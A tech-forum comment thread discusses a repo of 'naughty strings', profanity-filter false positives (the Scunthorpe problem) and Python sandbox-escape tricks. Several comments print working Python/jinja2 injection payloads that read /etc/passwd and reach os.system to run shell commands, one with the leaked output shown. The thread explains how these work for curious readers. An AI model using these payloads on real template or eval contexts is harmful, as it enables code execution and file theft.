News for hackers. Stuff that matters.
Re:Null by m463 on Thursday January 14, 2021 @04:12AM (#25773987)
what a great github repo.

I enjoyed:

    #   Strings that may occur on IRC clients that make security products freak out
    DCC SEND STARTKEYLOGGER 0 0 0
and everything under:

    # Innocuous strings which may be blocked by profanity filters (https://en.wikipedia.org/wiki/Scunthorpe_problem)
Re:Null by Cyykratahk on Thursday January 14, 2021 @05:44AM (#25774819)
Found some GitHub issues [1] with something similar: an enterprise firewall blocking a repo because it contained the string "arglebargleglopglyf" [2] in some tests.

The text was flagged as malicious because of its presence in the repo github.com/wireghoul/htshells [3]. However, the whole point of the word in the htshells repo is that it's an invalid command that breaks Apache, so it could have been almost any random string.

[1] https://github.com/search?q=arglebargleglopglyf&type=issues

[2] https://mume.org/help/arglebargle

[3] https://github.com/wireghoul/htshells/blob/master/dos/apache...

Re:Null by EdwardDiego on Thursday January 14, 2021 @06:41AM (#25775202)
This one from link 3 caught my eye:

    "".__class__.__mro__[2].__subclasses__()[40]("/etc/passwd").read()
Looks to be a Python 2 specific way of trying to read a file in a sneaky way. I say Python 2 specific because Python 3 strings only have 2 supertypes now, so __mro__[2] is out of range, but __mro__[1] is 'object', and I'm guessing they were going for a file like class, but right now object.__subclasses__()[40] points at "mappingproxy".

And the only subclasses of object I can find with a read classmethod are these:

    109 <class 'codecs.StreamReaderWriter'>
    110 <class 'codecs.StreamRecoder'>
Found with:

    for i, x in enumerate("".__class__.__mro__[1].__subclasses__()):
        if "read" in dir(x):
            print(str(i) + " " + str(x))
Re:Null by masklinn on Thursday January 14, 2021 @09:28AM (#25776643)
FWIW it’s looking for the `file` class which does not exist anymore an was a direct subclass of object: `open` now creates a TextIOWrapper<BufferedReader<TextIO>>.

You can still reach TextIO though _IOBase, in python 3.9 it’s object’s 101st subclass, then 0, then 0.

In 3.8 it’s 99, 0, 0.

Re:Null by tryauuum on Thursday January 14, 2021 @12:23PM (#25779160)
This is pretty fascinating!

It's a shame subclass numbers do change from version to version, so there is no "one-size-catch-all" injection string.

Someone in this thread posted a solution with next() that iterates over subclasses to find the correct one. But an injection with spaces won't work as well when injected in jinja2 (something that original injection accomplishes in python2).

Re:Null by masklinn on Thursday January 14, 2021 @01:32PM (#25780179)
> It's a shame subclass numbers do change from version to version, so there is no "one-size-catch-all" injection string.

Yeah going through subclasses is not trivial, but that's the way exploits work really. And usually once you find a target the version is going to be reliable.

An other big injection sources in Python is when modules are available in the evaluation context, that's way more risky than exposing classes, functions, and objects due to Python's transitive import nature: anything you import becomes an attribute of your module, meaning if your module is visible so are its module. And very often there's a point at which `sys` is imported somewhere within transitive reach. Once `sys` is available they're out of the interpreter.

Re:Null by m463 on Thursday January 14, 2021 @07:50AM (#25775735)

    $ python2
    >>> "".__class__.__mro__[2].__subclasses__()[40]("/etc/passwd").read()
    'root:x:0:0:root:/root:/bin/bash\n ...
yep, there it is.
Re:Null by vient on Thursday January 14, 2021 @09:42AM (#25776823)
Python 3 `system` example

  next(sub for c in "".__class__.__mro__ for sub in c.__subclasses__() if '__init__' in dir(sub) and '__globals__' in dir(sub.__init__) and 'system' in sub.__init__.__globals__).__init__.__globals__['system']('cat /etc/passwd')
Re:Null by monsieurbanana on Thursday January 14, 2021 @05:23AM (#25774643)
I'm surprised about Scunthorpe, if any name with a profanity substring would trigger the filter I'd have thought this issue would be more common than Scunthorpe.
Re:Null by brazzy on Thursday January 14, 2021 @06:33AM (#25775140)
Yeah, such a filter would be a mbuttive problem due to all the mimanures.
Re:Null by snakeboy on Thursday January 14, 2021 @07:55AM (#25775766)
This could exists a fun puzzle genre, replacing substforbidds of words with synonyms. Perhaps with muloanle dened itefractionns. Could even have replacementb agrosb lade boundaries.
Re:Null by raphlinus on Thursday January 14, 2021 @10:38AM (#25777599)
My favorite of these was the discussion section of a popular lefty blog where any mention of "socialism" or "socialist" was routed to moderation and had to be unblocked manually. Not because of profanity, but a particularly pernicious spam problem at the time.